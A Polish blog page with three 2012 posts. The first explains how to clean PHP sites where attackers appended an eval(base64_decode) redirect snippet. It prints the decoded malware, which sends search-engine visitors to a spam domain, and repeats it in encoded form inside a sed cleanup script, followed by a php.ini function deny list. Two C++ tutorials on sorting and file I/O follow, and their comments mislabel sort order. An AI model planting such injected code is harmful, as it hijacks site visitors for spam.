sobota, 18 sierpnia 2012

eval(base64_decode czyli jak poradzić sobie z automatycznym przekierowaniem naszej strony, na strony spamerskie?

Od paru miesięcy, pewna grupa spamerów, włamuje się na konta FTP i dopisuje do każdego pliku .php taki kod:
eval(base64_decode("DQplc
po z dekodowaniu kod może wyglądać tak:
error_reporting(0);

$qazplm=headers_sent();

if (!$qazplm){

$referer=$_SERVER['HTTP_REFERER'];

$uag=$_SERVER['HTTP_USER_AGENT'];

if ($uag) {

if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {

if (!stristr($referer,"cache") or !stristr($referer,"inurl")){

header("Location: http://gigop.americanunfinished.com/");

exit();

}
}
}

Kod ten w sposób losowy przekierowuje nas na inne strony podczas klikania w linki, a także dopisuje na końcu naszej strony linki mające podnieść spamerskie strony wyżej w rankingu google.

Do infekcji wykorzystuje prawdopodobnie luki w popularnych CMS lub co bardziej prawdopodobne infekuje komputer właściciela strony trojanem, który to wyciąga hasła z klientów FTP.

Jak poradzić sobie z takim atakiem?
Jeżeli serwer jest dedykowany i mamy dostęp do konsoli możemy wykorzystać ten skrypt:
#!/bin/sh

src=$1.hack
dst=$1

mv $dst $src

sed -e 's,eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ2lnb3AuYW1lcmljYW51bmZpbmlzaGVkLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));,,g' $src > $dst

Oczywiście podstawiam pod "DQplcnJvcl9yZXBvcnRpbmc..." kod który jest u nas zapisany, wersji tego kodu jest z pewności bardzo dużo.
Skrypt zapisujemy pod nazwą clean.sh i wysyłamy na serwer.
Z konsoli serwera wystarczy już tylko odpalić komendę:
find . -name '*.php' -exec ./clean.sh \{\} \;
Zachowa ona stare pliki pod rozszerzeniem .hack a plik .php będą już bez złośliwego kodu.
Po sprawdzeniu czy strona działa poprawnie możemy usunąć pliki z dopiskiem poprzez komendę:
find . -name '*.hack' -exec rm -f \{\} \;

A co jeśli nie mamy dostępu do konsoli?
W takim wypadku skorzystać możemy z programu FileZilla, po połączeniu się z jego pomocą z serwerem, z paska narzędzi wybieramy serwer->Szukaj zdalnych plików (F3).

Wybieramy opcję "nazwa pliku" - "kończy się na" - ".php"
i klikamy szukaj, gdy wszystkie pliki zostaną odnalezione zaznaczamy wszystkie, ppm, pobierz.
Zostawiamy domyślne opcje, które zachowają strukturę folderów z serwera.

Gdy wszystkie pliki php z naszego serwera są u nas na dysku wystarczy użyć programu notepad++ do usunięcia niepotrzebnego kodu.
W programie wciskamy ctrl+shift+f, wybieramy folder z naszymi plikami i uzupełniamy okno szukany tekst naszym złośliwym kodem, klikamy zamień w plikach i gotowe.
Oczyściliśmy nasze pliki ze złośliwego kodu, wystarczy je teraz z powrotem wgrać na serwer.

Co zrobić by sytuacja się nie powtórzyła?
1. Aktualizować skrypty CMSa, forum, bloga.
2. Przeskanować komputer którym się łączymy z serwerem przy pomocy programu Spybot Search and Destroy
3. Do pliku php.ini dopisać restrykcje:
allow_url_fopen = off
allow_url_include = off
disable_functions = "apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd, eval, exec, fp, fput, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, mysql_pconnect, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode"



czwartek, 10 maja 2012

Proste sortowanie tablic w C++ - idealny sposób na maturę z informatyki

Matura się zbliża więc czas na trochę hacków ;)
Do rzeczy, czyli jak posortować tablicę liczb lub znaków bez znajomości ani jednego algorytmu sortowania:

#include <iostream>
#include <algorithm>

using namespace std;

int main()
{
    int i;
    string lancuch = "string do posortowania abzwcdexyfh";
    string tab_string[] = {"test","bB","A","D","1A","a","ds","asd","Bb","z"};
    int tab_int[] = {2,4,6,3,8,6,88,1,5,84,62};
    /*-------- Sortowanie tablicy z liczbami  ------*/

    int elementow = sizeof(tab_int)/sizeof(tab_int[0]);


    cout <<"Posortowana malejaco: ";
    sort(tab_int,tab_int+elementow,greater<int>());  //sortuje od najmniejszego do najwiekszego 1*
    for (i=0; i<elementow; i++)
    {
        cout << " "<< tab_int[i] ;
    }

    cout << endl<<"Posortowana rosnaco: ";
    sort(tab_int,tab_int+elementow); //sortuje od najwiekszego do najmniejszego 2*
    for (i=0; i<elementow; i++)
    {
        cout << " "<< tab_int[i] ;
    }
    /*-------- Sortowanie tablicy stringow ------*/
    elementow = sizeof(tab_string)/sizeof(tab_string[0]);



    cout << endl<<"Posortowana rosnaco: ";
    sort(tab_string,tab_string+elementow); //sortuje od najwiekszego do najmniejszego
    for (i=0; i<elementow; i++)
    {
        cout << " "<< tab_string[i] ;
    }

    cout << endl<<"Posortowana malejaco: ";
    sort(tab_string,tab_string+elementow,greater <string>());
    for (i=0; i<elementow; i++)
    {
        cout << " "<< tab_string[i] ;
    }
     /*-------- Zmiana wielkosci liter ---------*/
    cout<< "\nzamiana na duze litery";
    for (i=0; i<elementow; i++)
    {
        transform(tab_string[i].begin(),tab_string[i].end(),tab_string[i].begin(),::toupper);  //albo ::tolower 3*
    }
    cout << endl<<"Posortowana malejaco: ";
    sort(tab_string,tab_string+elementow,greater <string>());
    for (i=0; i<elementow; i++)
    {
        cout << " "<< tab_string[i] ;
    }

    cout << endl<<"Posortowana rosnaco: ";
    sort(tab_string,tab_string+elementow); //sortuje od najwiekszego do najmniejszego
    for (i=0; i<elementow; i++)
    {
        cout << " "<< tab_string[i] ;
    }


    cout<< "\nSortowanie wyrazow:";
    cout << endl<<"Posortowany rosnaco: ";
    sort(lancuch.begin(),lancuch.end());
    cout <<lancuch<<endl;

    cout << endl<<"Posortowany malejaco: ";
    sort(lancuch.begin(),lancuch.end(),greater <char>());
    cout <<lancuch<<endl;
    return 0;
}

Wynikiem tego kodu jest coś takiego:

Posortowana malejaco: 88 84 62 8 6 6 5 4 3 2 1
Posortowana rosnaco: 1 2 3 4 5 6 6 8 62 84 88
Posortowana rosnaco: 1A A Bb D a asd bB ds test z
Posortowana malejaco: z test ds bB asd a D Bb A 1A
zamiana na duze litery
Posortowana malejaco: Z TEST DS D BB BB ASD A A 1A
Posortowana rosnaco: 1A A A ASD BB BB D DS TEST Z
Sortowanie wyrazow:
Posortowana rosnaco: aaabcddefghiinnooooprrssttwwxyz
Posortowana malejaco: zyxwwttssrrpoooonniihgfeddcbaaa

Jak już z pewnością zauważyłeś po tym jak wnikliwie zanalizowałeś kod i wynik to funkcją sortującą z biblioteki algorithm jest sort a wykorzystuje się ją tak:
sort(pierwszy_element, ostatni_element, opcja);
opcja czyli w jaki sposób posortować zostawienie tylko dwóch pierwszych argumentów powoduje posortowanie od najwiekszego do najmniejszego elementu(1*) a z opcją
greater <typ_zmiennej>() sortuje od najmniejszego do największego elementu (2*)

Zauważamy również że funkcja sort sortuje znaki według numerów z tablicy znaków ASCII gdzie A ma numer 65, B 66, a mała litera: a 97. Dlatego może być nam potrzebna funkcja zamieniająca małe litery na duże (lub na odwrót). Funkcja ta to transform przykład jej użycia jest w wierszu 52 (3*)

Kolejną ciekawą funkcją jest partial_sort która pozwala nam posortować wybrany przez nas zakres.
przykład użycia:

string lancuch = "987654321";
partial_sort (lancuch.begin(), lancuch.begin()+5, lancuch.end());
cout << lancuch;

wynikiem będzie: 123459876

niedziela, 15 stycznia 2012

Obsługa plików tekstowych w C++

W jaki sposób zapisać i odczytać dane z pliku tekstowe w C++?


Najpierw przykładowy kod potem przyjdzie czas na opis:

#include <iostream> 
#include <fstream> // 1

using namespace std;

void odwroc(string napis)
{
    for (int i = napis.length(); i >= 0 ; i-- )
    {
        cout << napis[i];
    }
}

int main()
{
    fstream plik;  // 2

    plik.open("test.txt",ios::in); // 3
    if(plik.good())  // 4
    {
        cout<<"otwarto plik\n";
        string tekst;
        while( !plik.eof() )  // 5
        {
            getline( plik, tekst );   // 6
            odwroc(tekst);
            cout <<endl<< tekst << endl;
        }
        plik.close();  // 7
    }else if (plik.bad()) cout << "blad otwarcia" << endl;  // 4

    fstream zapis("test.txt", ios::app|ios::out); // 8 
    if (zapis.good())
    {
        string tekst;
        cout << "wpisz tekst do zapisania w pliku:";
        getline(cin, tekst);  // 9
        zapis << tekst; // 10
        zapis.flush();
        zapis.close(); // 7

    }
    return 0;
}

1. Wczytujemy podstawową biblioteką do obsługi plików w C++ - fstream.

2. Inicjujemy zmienną która będzie komunikowała się z naszym plikiem

3. Otwieramy plik test.txt w trybie do odczytu - ios::in

4. W zależności od tego czy plik został poprawnie otwarty wyświetlamy odpowiedni komentarz, i wykonujemy operacje na nim tylko jeśli został poprawnie otwarty.

5. Odczytujemy zawartość pliku - while (!plik.eof()) - wykonuj instrukcje dopóki(while) nie jesteś(!) na końcu pliku (plik.eof())

6. Odczyt całej linii(wiersza) tekstu

7. Funkcja zamykająca plik

8. Inicjacja zmiennej wraz z nadaniem jej parametrów: plik do otwarcia "test.txt" w trybie dopisywania (ios::app) i zapisu (ios::out)

9. Pobranie tekstu z konsoli do zmiennej tekstowej.

10. Zapis do pliku przy pomoc strumienia << analogicznie jak cout wypisuje na ekranie tekst